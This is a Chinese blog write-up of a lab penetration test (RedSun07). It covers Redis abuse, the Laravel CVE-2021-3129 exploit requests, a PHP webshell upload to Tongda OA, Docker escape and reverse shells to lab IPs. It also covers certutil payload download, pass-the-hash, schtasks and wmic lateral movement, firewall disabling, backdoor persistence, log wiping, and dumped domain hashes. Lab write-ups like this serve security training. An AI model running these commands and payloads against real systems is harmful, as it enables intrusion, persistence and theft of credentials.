RedSun07

简介

开始时间: 2024-02-28

结束时间:  2024-03-02

总结时间 2024-03-02

环境搭建

网络设置

image-20240228223447876

发现需要两个内网网段和一个外网网段

通过nat 网卡模拟外网

image-20240228224727964

  1. web1

    ubuntu

    密码

    web : web2021

    image-20240301110332936

  2. web2

    ubuntu

    密码

    ubuntu : ubuntu

    image-20240301111346464

  3. pc1

    win7

    密码

    bunny:Bunny2021

    image-20240301111600252

  4. pc2

    win7

    密码

    moretz:Moretz2021

    image-20240301111751712

  5. winserver

    winserver 2012

    密码

    Administrator:Whoami2021

服务搭建

DMZ 区域的ubuntu 开启redis 和ngnix 服务

web1

开启 redis服务

1
redis-server /etc/redis.conf

image-20240301112206938

开启ngnix服务

1
2
/usr/sbin/nginx -c /etc/nginx/nginx.conf

image-20240301112531483

开启防火墙

1
iptables -F

web2

ubuntu

启动docker

1
sudo service docker start

image-20240301112721343

1
sudo docker start 8e172820ac78

pc1

win7 开启通达oa

image-20240301112921924

信息收集

已知的ip 和我同一个网段,假装使用域名反查到了ip

模拟正常的习惯

先查看Ip 模拟已知域名的情况

image-20240301122512829

网站信息收集

  1. 访问服务

    image-20240301122656523

    没有发现什么

  2. 路径探测

    使用wsl 进行运行,因为windows 运行效率太低

    image-20240301125355443

  3. 指纹收集

    image-20240301123802420

  4. api 泄露

    image-20240301123639003

    啥也没有

域名

由于已知ip就不需要将域名反差ip 了

已知ip

端口收集

image-20240301124007201

查看81端口是什么

image-20240301151740051

web渗透

  1. msf尝试利用22 端口

    1
    2
    3
    4
    5
    6
    msf6 auxiliary(scanner/ssh/ssh_login) > set user_file /home/kali/users.txt
    user_file => /home/kali/users.txt
    msf6 auxiliary(scanner/ssh/ssh_login) > set pass_file /home/kali/password.txt
    pass_file => /home/kali/password.txt
    msf6 auxiliary(scanner/ssh/ssh_login) > set rhosts 192.168.79.163Interrupt: use the 'exit' command to quit
    msf6 auxiliary(scanner/ssh/ssh_login) > set rhosts 192.168.79.163

    image-20240301124348496

    image-20240301124620606

  2. 尝试使用6379

    是否存在redis 未授权访问

    image-20240301124921812

    https://tsy244.github.io/2024/01/11/%E6%B8%97%E9%80%8F/%E6%9C%AA%E6%8E%88%E6%9D%83%E8%AE%BF%E9%97%AE%E6%BC%8F%E6%B4%9E/

    • 尝试生成公钥

      1
      ssh-keygen -t rsa

      image-20240301130020068

      1
      ( echo "\n\n" ;cat temp_keys.pub ;echo "\n\n" )> redis_keys

      image-20240301130251739

      通过Redis 命令行执行指令的方式,设置x 的values为ssh_key

      1
      cat redis_keys | redis-cli -h 192.168.79.163 -x set m

      image-20240301130858830

      image-20240301131010083

      已经存在,设置工作目录

      image-20240301131209899

      发现问题,权限不够

      查看工作目录image-20240301131715015

      猜测用户名为web

      image-20240301131802848

      成功

      image-20240301131954778

      尝试连接

      image-20240301132420865

      由于用户存在密码所以登录失败

    • 尝试写webshell

      只能猜测Web 路径

      /var/www/html

      image-20240301134404211

    • 尝试写定时任务

      首先开启监听

      然后设置离路径

      image-20240301134758399

      1
      set m "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/192.168.79.137/19999 0>&1\n\n"

      image-20240301135042826

      感觉不行

    • 主从复制

      利用失败

    • 由于权限问题,应该使用root 权限启动服务的

      image-20240301160815016

      image-20240301161032141

      image-20240301161450582

      注意

      1. 这里最好指定用户,因为我们是存放到root 所以我们使用root 用户登录
      2. 因为保存的不是在默认的文件地点,所以使用 -i 选项进行指定

      如果作者是要求使用普通用户的话,俺就没有办法利用了

  3. 81端口

    image-20240301162752272

    使用xray 搜索是否存在漏洞

    网上搜索了一下漏洞

    Laravel RCE(CVE-2021-3129)漏洞复现 - FreeBuf网络安全行业门户

    image-20240301163311627

    主状态500 说明可能存在问题

    下载工具

    1
    https://github.com/ambionics/phpggc.git

    添加执行权限

    1
    chmod +x phpggc

    image-20240301164215234

    用phpggc生成phar序列化利用POC

    1
    php -d "phar.readonly=0" ./phpggc Laravel/RCE5 "phpinfo();" --phar phar -o php://output | base64 -w 0 | python -c "import sys;print(''.join(['=' + hex(ord(i))[2:] + '=00' for i in sys.stdin.read()]).upper())"

    image-20240301164456654

    但是这个poc 实际上不能使用还需要在最后添加一个a

    清除原来的日志

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    POST /_ignition/execute-solution HTTP/1.1
    Host: 139xxx:8080
    Content-Type: application/json
    Content-Length: 330


    {
    "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
    "parameters": {
    "variableName": "username",
    "viewFile": "php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"
    }
    }

    给Log增加一次前缀,用于对齐

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    POST /_ignition/execute-solution HTTP/1.1
    Host: 139.xxx:8080
    Content-Type: application/json
    Content-Length: 155


    {
    "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
    "parameters": {
    "variableName":"username",
    "viewFile": "AA"
    }
    }
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    POST /_ignition/execute-solution HTTP/1.1
    Host: 139.xxxxx:8080
    Content-Type: application/json
    Content-Length: 5050


    {
    "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
    "parameters": {
    "variableName":"username",
    "viewFile": "=50=00=44=00=39=00=77=00=61=00=48=00=41=00=67=00=58=00=31=00=39=00=49=00=51=00=55=00=78=00=55=00=58=00=30=00=4E=00=50=00=54=00=56=00=42=00=4A=00=54=00=45=00=56=00=53=00=4B=00=43=00=6B=00=37=00=49=00=44=00=38=00=2B=00=44=00=51=00=6F=00=66=00=41=00=67=00=41=00=41=00=41=00=67=00=41=00=41=00=41=00=42=00=45=00=41=00=41=00=41=00=41=00=42=00=41=00=41=00=41=00=41=00=41=00=41=00=44=00=49=00=41=00=51=00=41=00=41=00=54=00=7A=00=6F=00=30=00=4D=00=44=00=6F=00=69=00=53=00=57=00=78=00=73=00=64=00=57=00=31=00=70=00=62=00=6D=00=46=00=30=00=5A=00=56=00=78=00=43=00=63=00=6D=00=39=00=68=00=5A=00=47=00=4E=00=68=00=63=00=33=00=52=00=70=00=62=00=6D=00=64=00=63=00=55=00=47=00=56=00=75=00=5A=00=47=00=6C=00=75=00=5A=00=30=00=4A=00=79=00=62=00=32=00=46=00=6B=00=59=00=32=00=46=00=7A=00=64=00=43=00=49=00=36=00=4D=00=6A=00=70=00=37=00=63=00=7A=00=6F=00=35=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=6C=00=64=00=6D=00=56=00=75=00=64=00=48=00=4D=00=69=00=4F=00=30=00=38=00=36=00=4D=00=6A=00=55=00=36=00=49=00=6B=00=6C=00=73=00=62=00=48=00=56=00=74=00=61=00=57=00=35=00=68=00=64=00=47=00=56=00=63=00=51=00=6E=00=56=00=7A=00=58=00=45=00=52=00=70=00=63=00=33=00=42=00=68=00=64=00=47=00=4E=00=6F=00=5A=00=58=00=49=00=69=00=4F=00=6A=00=45=00=36=00=65=00=33=00=4D=00=36=00=4D=00=54=00=59=00=36=00=49=00=67=00=41=00=71=00=41=00=48=00=46=00=31=00=5A=00=58=00=56=00=6C=00=55=00=6D=00=56=00=7A=00=62=00=32=00=78=00=32=00=5A=00=58=00=49=00=69=00=4F=00=32=00=45=00=36=00=4D=00=6A=00=70=00=37=00=61=00=54=00=6F=00=77=00=4F=00=30=00=38=00=36=00=4D=00=6A=00=55=00=36=00=49=00=6B=00=31=00=76=00=59=00=32=00=74=00=6C=00=63=00=6E=00=6C=00=63=00=54=00=47=00=39=00=68=00=5A=00=47=00=56=00=79=00=58=00=45=00=56=00=32=00=59=00=57=00=78=00=4D=00=62=00=32=00=46=00=6B=00=5A=00=58=00=49=00=69=00=4F=00=6A=00=41=00=36=00=65=00=33=00=31=00=70=00=4F=00=6A=00=45=00=37=00=63=00=7A=00=6F=00=30=00=4F=00=69=00=4A=00=73=00=62=00=32=00=46=00=6B=00=49=00=6A=00=74=00=39=00=66=00=58=00=4D=00=36=00=4F=00=44=00=6F=00=69=00=41=00=43=00=6F=00=41=00=5A=00=58=00=5A=00=6C=00=62=00=6E=00=51=00=69=00=4F=00=30=00=38=00=36=00=4D=00=7A=00=67=00=36=00=49=00=6B=00=6C=00=73=00=62=00=48=00=56=00=74=00=61=00=57=00=35=00=68=00=64=00=47=00=56=00=63=00=51=00=6E=00=4A=00=76=00=59=00=57=00=52=00=6A=00=59=00=58=00=4E=00=30=00=61=00=57=00=35=00=6E=00=58=00=45=00=4A=00=79=00=62=00=32=00=46=00=6B=00=59=00=32=00=46=00=7A=00=64=00=45=00=56=00=32=00=5A=00=57=00=35=00=30=00=49=00=6A=00=6F=00=78=00=4F=00=6E=00=74=00=7A=00=4F=00=6A=00=45=00=77=00=4F=00=69=00=4A=00=6A=00=62=00=32=00=35=00=75=00=5A=00=57=00=4E=00=30=00=61=00=57=00=39=00=75=00=49=00=6A=00=74=00=50=00=4F=00=6A=00=4D=00=79=00=4F=00=69=00=4A=00=4E=00=62=00=32=00=4E=00=72=00=5A=00=58=00=4A=00=35=00=58=00=45=00=64=00=6C=00=62=00=6D=00=56=00=79=00=59=00=58=00=52=00=76=00=63=00=6C=00=78=00=4E=00=62=00=32=00=4E=00=72=00=52=00=47=00=56=00=6D=00=61=00=57=00=35=00=70=00=64=00=47=00=6C=00=76=00=62=00=69=00=49=00=36=00=4D=00=6A=00=70=00=37=00=63=00=7A=00=6F=00=35=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=6A=00=62=00=32=00=35=00=6D=00=61=00=57=00=63=00=69=00=4F=00=30=00=38=00=36=00=4D=00=7A=00=55=00=36=00=49=00=6B=00=31=00=76=00=59=00=32=00=74=00=6C=00=63=00=6E=00=6C=00=63=00=52=00=32=00=56=00=75=00=5A=00=58=00=4A=00=68=00=64=00=47=00=39=00=79=00=58=00=45=00=31=00=76=00=59=00=32=00=74=00=44=00=62=00=32=00=35=00=6D=00=61=00=57=00=64=00=31=00=63=00=6D=00=46=00=30=00=61=00=57=00=39=00=75=00=49=00=6A=00=6F=00=78=00=4F=00=6E=00=74=00=7A=00=4F=00=6A=00=63=00=36=00=49=00=67=00=41=00=71=00=41=00=47=00=35=00=68=00=62=00=57=00=55=00=69=00=4F=00=33=00=4D=00=36=00=4E=00=7A=00=6F=00=69=00=59=00=57=00=4A=00=6A=00=5A=00=47=00=56=00=6D=00=5A=00=79=00=49=00=37=00=66=00=58=00=4D=00=36=00=4E=00=7A=00=6F=00=69=00=41=00=43=00=6F=00=41=00=59=00=32=00=39=00=6B=00=5A=00=53=00=49=00=37=00=63=00=7A=00=6F=00=79=00=4E=00=54=00=6F=00=69=00=50=00=44=00=39=00=77=00=61=00=48=00=41=00=67=00=63=00=47=00=68=00=77=00=61=00=57=00=35=00=6D=00=62=00=79=00=67=00=70=00=4F=00=79=00=42=00=6C=00=65=00=47=00=6C=00=30=00=4F=00=79=00=41=00=2F=00=50=00=69=00=49=00=37=00=66=00=58=00=31=00=39=00=42=00=51=00=41=00=41=00=41=00=47=00=52=00=31=00=62=00=57=00=31=00=35=00=42=00=41=00=41=00=41=00=41=00=4F=00=71=00=2B=00=35=00=6D=00=41=00=45=00=41=00=41=00=41=00=41=00=44=00=48=00=35=00=2F=00=32=00=4B=00=51=00=42=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=43=00=41=00=41=00=41=00=41=00=48=00=52=00=6C=00=63=00=33=00=51=00=75=00=64=00=48=00=68=00=30=00=42=00=41=00=41=00=41=00=41=00=4F=00=71=00=2B=00=35=00=6D=00=41=00=45=00=41=00=41=00=41=00=41=00=44=00=48=00=35=00=2F=00=32=00=4B=00=51=00=42=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=64=00=47=00=56=00=7A=00=64=00=48=00=52=00=6C=00=63=00=33=00=54=00=67=00=6A=00=72=00=5A=00=4C=00=35=00=2F=00=43=00=56=00=58=00=4B=00=44=00=62=00=37=00=76=00=54=00=59=00=6B=00=47=00=48=00=5A=00=6B=00=58=00=6D=00=67=00=4A=00=77=00=49=00=41=00=41=00=41=00=42=00=48=00=51=00=6B=00=31=00=43=00a"
    }
    }

    清空log 文件中的打扰字符

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    POST /_ignition/execute-solution HTTP/1.1
    Host:139.xxx:8080
    Content-Type: application/json
    Content-Length: 290

    {
    "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
    "parameters": {
    "variableName": "username",
    "viewFile": "php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"
    }
    }

    进行反序列化

    这里需要指定一下绝对路径,但是如果没有ssh 的话 是查看不到的

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    POST /_ignition/execute-solution HTTP/1.1
    Host: 139.xx:8080
    Content-Type: application/json
    Content-Length: 210

    {
    "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
    "parameters": {
    "variableName": "username",
    "viewFile": "phar:///var/www/storage/logs/laravel.log/test.txt"
    }
    }

    直接使用工具进行利用

    SecPros-Team/laravel-CVE-2021-3129-EXP (github.com)

    image-20240301182319076

    使用哥斯拉 连接

    但是哥斯拉版本需要控制一下,我选择直接放弃(消灾哥斯拉只用该版本4+,他需要2+)

    crisprss/Laravel_CVE-2021-3129_EXP (github.com)

    尝试使用综合利用工具

    这个 需要修改一下自己的url

    image-20240301190931716

    vim 按G直接到最下面

    image-20240301191006593

    image-20240301191024690

    尝试反弹shell

    image-20240301191349759

    但是失败

    尝试写webshell

    这个网站路径也是猜的,但是可以通过命令执行得到这个网站路径

    1
    python Laravel_CVE-2021-3129_EXP.py "system('echo PD9waHAgZXZhbCgkX1BPU1Rbd2hvYW1pXSk7Pz4=|base64 -d > /var/www/html/shell.php');" --phar phar -o php://output | base64 -w 0 | python -c "import sys;print(''.join(['=' + hex(ord(i))[2:] + '=00' for i in sys.stdin.read()]).upper())"

    image-20240301192306471

    image-20240301192250794

    image-20240301192406956

    image-20240301192538917

  4. 查询ip

    image-20240301192613779

    没有ifconfig !?

  5. docker 逃逸

    image-20240301192648491

    发现存在于docker

    查看是否还有存在能用的指令

    image-20240301193408887

    尝试使用curl

    1
    curl 

    image-20240301193053927

    特权启动,使用挂载进行docker 逃逸

    发现当前权限太低就尝试提权

    image-20240301201054967

    可以尝试搜索高权限执行的文件

    1
    find / -perm -u=s -type f 2>/dev/null

    image-20240301201550008

    image-20240301201722044

    使用的是貌似是ps

    尝试使用环境变量劫持

    1
    2
    3
    4
    5
    6
    7
    cd /tmp
    echo "/bin/bash" > ps
    chmod 777 ps
    echo $PATH
    export PATH=/tmp:$PATH
    cd /home/jobs
    ./shell

    由于蚁剑的终端不是一个完整的终端,所以使用export 无效

    image-20240301210705300

    发现设置环境变量不行

    尝试上传msf

    发现不能上线,猜测是不出网的原因

    那么现在就只有redis 的ubuntu 是能使用的

    ubuntu?

    尝试反弹shelll 到ubuntu

    先写入一个shell 到文件

    image-20240302095230936

    image-20240302095245238

    通过蚁剑 执行命令

    image-20240302095328795

    这样不行换一种编码方式

    image-20240302095806626

    执行

    上线

    image-20240302095841528

    1
    2
    3
    4
    5
    6
    7
    cd /tmp
    echo "/bin/bash" > ps
    chmod 777 ps
    echo $PATH
    export PATH=/tmp:$PATH
    cd /home/jobs
    ./shell

    image-20240302095951355

    添加成功

    image-20240302100113137

    image-20240302100139487

    进行docker 逃逸

    image-20240302100324069

    尝试写定时任务 反弹shell

    记得前面有一个hacker

    image-20240302100958902

    发现里面有东西

    1
    2
    3
    touch /hacker/hacker.sh
    echo "bash -i >& /dev/tcp/192.168.52.10/11234 0>&1" >/hacker/hacker.sh
    echo "* * * * * root bash /hacker.sh" >> /hacker/etc/crontab

    image-20240302111754917

    反弹成功

    为了区分,这个主机位ubuntu2

    查看ubuntu1

    image-20240302111822093

    确定是两个用户

  6. ubuntu 1上线msf

    通过wget 下载

    image-20240301211336385

    image-20240301211327195

  7. 开启代理

    上传agent

    1
    upload /home/kali/penetration/proxy/stowaway/agent

    image-20240301211732510

    kali 使用admin

    image-20240301211947973

    ubuntu 连接

    image-20240301211940831

    开启代理

    image-20240301212031361

  8. ubuntu2 上线msf

    生成bind 的payload

    1
    2
    msfvenom -p linux/x64/meterpreter/bind_tcp -f elf > l_x64_bind.elf

    image-20240302135857740

    上传到ubuntu1 通过python 开启http服务image-20240302135710164

    image-20240302140208829

    上线成功

内网信息收集

基于通过redis 获取的ubuntu

  1. 网段

    ubuntu1

    image-20240301212214858

    ubuntu2

    image-20240302143030971

    发现新的网段

    image-20240302143439346

  2. fscan

    192.168.52.1/24

    image-20240302143207070

    发现还有30主机

    192.168.93.1/24

  3. 设置服务器代理

    image-20240301213015977

横向移动

192.168.53.30

  1. 端口信息收集

    image-20240302143714207

    发现了通达oa

  2. 通达oa

    利用网站开启代理进行访问image-20240302143900346

    通过网络搜索相关漏洞

    或者使用利群

    先开启代理

    image-20240302160028355

    发现没有用

    还是手动利用吧

    给bp设置代理

    image-20240302165309497

    使用bp自带的浏览器开启

    image-20240302165333235

    上产图片🐎

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    POST /ispirit/im/upload.php HTTP/1.1
    Host: 192.168.52.30:8080
    Content-Length: 658
    Cache-Control: no-cache
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
    Content-Type: multipart/form-data; boundary=----WebKitFormBoundarypyfBh1YB4pV8McGB
    Accept: */*
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9,zh-HK;q=0.8,ja;q=0.7,en;q=0.6,zh-TW;q=0.5
    Cookie: PHPSESSID=123
    Connection: close

    ------WebKitFormBoundarypyfBh1YB4pV8McGB
    Content-Disposition: form-data; name="UPLOAD_MODE"

    2
    ------WebKitFormBoundarypyfBh1YB4pV8McGB
    Content-Disposition: form-data; name="P"

    123
    ------WebKitFormBoundarypyfBh1YB4pV8McGB
    Content-Disposition: form-data; name="DEST_UID"

    1
    ------WebKitFormBoundarypyfBh1YB4pV8McGB
    Content-Disposition: form-data; name="ATTACHMENT"; filename="jpg"
    Content-Type: image/jpeg

    <?php
    $command=$_POST['cmd'];
    $wsh = new COM('WScript.shell');
    $exec = $wsh->exec("cmd /c ".$command);
    $stdout = $exec->StdOut();
    $stroutput = $stdout->ReadAll();
    echo $stroutput;
    ?>
    ------WebKitFormBoundarypyfBh1YB4pV8McGB--

    image-20240302165647971

    记住路径

    使用文件包含访问

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    POST /ispirit/interface/gateway.php HTTP/1.1
    Host: 192.168.52.30:8080
    Connection: keep-alive
    Accept-Encoding: gzip, deflate
    Accept: */*
    User-Agent: python-requests/2.21.0
    Content-Length: 87
    Content-Type: application/x-www-form-urlencoded

    json={"url":"/general/../../attach/im/2403/1795188965.jpg"}&cmd=whoami

    image-20240302165728205

    成功

    上传payload 到ubuntu1 开启http让192.168.53.30 下载

    image-20240302172748829

    1
    certutil.exe -urlcache -split -f http://192.168.52.10:8000/w_x64_bind_26767.exe c:\win.exe & start c:\win.exe

    image-20240302173113946

    image-20240302173119915

    msf 连接

    image-20240302173553383

  3. 上线cs

    传递不了,忘记了这个是内网

  4. 查看一下网段

    image-20240302174615182

  5. 开启双层代理

    上传工具

    image-20240302175338426

    image-20240302175450631

    image-20240302175623173

    image-20240302175616092

    image-20240302175712234

    image-20240302175805899

    成功(为什么不用ubuntu 作为第二层的代理,因为ubuntu2不稳定,极其不稳定)

  6. 进行信息收集一下

    image-20240302183032033

    可以断定处于域环境

    image-20240302183114085

    image-20240302183221747

    那么40 就是pc2,30为dc

    image-20240302183557786

    获取域用户的hash 和密码

    1
    2
    3
    4
    5
    6
    7
    8
    Administrator  WHOAMIANONY  56b0cd8b125c05055e2dd9e955f18034  ab89b1295e69d353dd7614c7a3a80cec  2bc4124300a6a8fc0ca10891823d36c64e4b3a40
    PC1$ WHOAMIANONY 3e6a3d8c713b4821eaa51aab25f52074 d8e1318a24c64b8fcc89dc8609b09af50342bacf
    bunny WHOAMIANONY 7de10bf327ef7f2ac6ebe8776a153feb cc567d5556030b7356ee4915ff098c8f 3747632756191e3350e53211c63f804eb163638f


    Administrator WHOAMIANONY Whoami2021
    bunny WHOAMIANONY Bunny2021

  7. 开启远程桌面

    1
    wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1

192.168.93.40

  1. hash传递

    image-20240302184657352

    image-20240302184709658

192.168.93.30

  1. hash 传递

    失败

  2. IPC 横向移动

    image-20240302214107064

    拿着域控,走遍域控

    image-20240302214213288

    上传payload

    image-20240302214413150

    1
    2
    schtasks /create /s 192.168.93.30 /u WHOAMIANONY\Administrator /p "Whoami2021" /sc MINUTE /mo 1 /tn test2 /tr "c:\w_x64_bind_26767.exe"
    schtasks /run /s 192.168.93.30 /u WHOAMIANONY\Administrator /p "Whoami2021" /tn test2
  3. wmic

    1
    wmic /node:192.168.93.30 /user:Administrator /password:Whoami2021 process call create "cmd.exe /c c:\test.exe"

    利用失败

  4. 关闭防火墙

    1
    wmic /node:192.168.93.30 /user:Administrator /password:Whoami2021 process call create "netsh advfirewall set allprofiles state off"

    或者

    1
    2
    sc \\192.168.93.30 create uf binpath= "netsh advfirewall set allprofiles state off"
    sc \\192.168.93.30 start uf
  5. 在尝试pth

    image-20240302225423088

权限维持

  1. ubuntu1

    • 已经写了公钥

    • 还可以写定时任务

      1
      (crontab -l;echo '* */1 * * * exec 9<> /dev/tcp/192.168.79.137/19999;exec 0<&9;exec 1>&9 2>&1;/bin/bash --noprofile -i')|crontab -

      image-20240302230233044

      image-20240302230315423

    • 通过ssh 软连接后门

    • 起别名后门

  2. ubuntu2

    和ubuntu1同理

    • 尝试写公钥

      image-20240302230918187

      没办法

  3. pc1

    • 劫持

      1
      REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe" /t REG_SZ /v Debugger /d "C:\windows\system32\cmd.exe" /f
    • 开启远程桌面

      1
      wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1
  4. pc2

    和pc1 同理

  5. 域控

    • 开启远程桌面

    • 创建隐藏用户

      1
      2
      3
      net user admin$ admin@123 /add /y
      net localgroup administrators admin$ /add
      net localgroup "remote desktop users" admin$ /add

      image-20240302231918520

    • rid 劫持

    • 制作黄金票据

痕迹清理

  1. ubuntu1

    删除所有的命令行记录

    1
    2
    3
    4
    5
    history –w && history –c && > .bash_history

    userdel kali

    grep "Accepted " /var/log/secure | awk '{print $1,$2,$3,$9,$11}'

    image-20240302232046477

  2. ubuntu2

    同理

  3. pc1

    • msf
  4. pc2

    同理

  5. dc

    同理

总结

一共有5台主机,ubuntu1 和ubutu2 通过web 渗透的方式进行拿下的

pc1,pc2,DC 通过横向移动拿下的

Web渗透

  1. Redis 为什么这里没有利用成功的原因是没有使用root 权限开启服务

    wp 很多都是使用root 权限,但是官方的并没有root

    image-20240301160426723

    但是

    image-20240301160452977

    其实是提到的,所以我就更改了服务的启动权限

  2. 通过修改后的redis 进行写公钥的方式,然后kali 指定文件( -i )的方式

  3. 针对于ubuntu2 一开始一直尝试反弹shell 到kali 上面,但是不行,这个市使用nginx 反向代理的方式,代理服务器,所以ubuntu2 不出网,但是通过已经获取的ubuntu1 ,我们可以尝试使用反弹shell 到ubuntu1 上面。然后成功

  4. ubuntu2 通过Laravel_CVE-2021-3129 获得了docker 然后通过挂载宿主机,然后写定时任务,进行反弹shell 到ubuntu1

内网信息收集

  1. 通过内网信息收集,发现52 网段有三台主机

    ubuntu1(nat,192.168.52.10)

    ubuntu2(192.168.52.20,192.168.93.10)

    未知windows (192.168.52.30)

  2. 通过代理发现30存在通达oa

内网横向移动

  1. pc1 192.168.52.30(192.168.93.20)

    利用通达oa 的rce 漏洞执行下载指令,然后执行bind payload 然后kali 通过ubuntu1 代理进行连接

  2. 192.168.93.30

    这一点很巧

    通过获取pc1 密码,直接抓出了域管的密码

    然后通过msf smb 服务指定域管用户,直接就拿下了

  3. 192.168.93.40

    使用sc 这只定时任务关闭防火墙

    然后使用msf smb 方式拿下域控


RedSun07
https://tsy244.github.io/2024/02/28/靶场记录/RedSun07/
Author
August Rosenberg
Posted on
February 28, 2024
Licensed under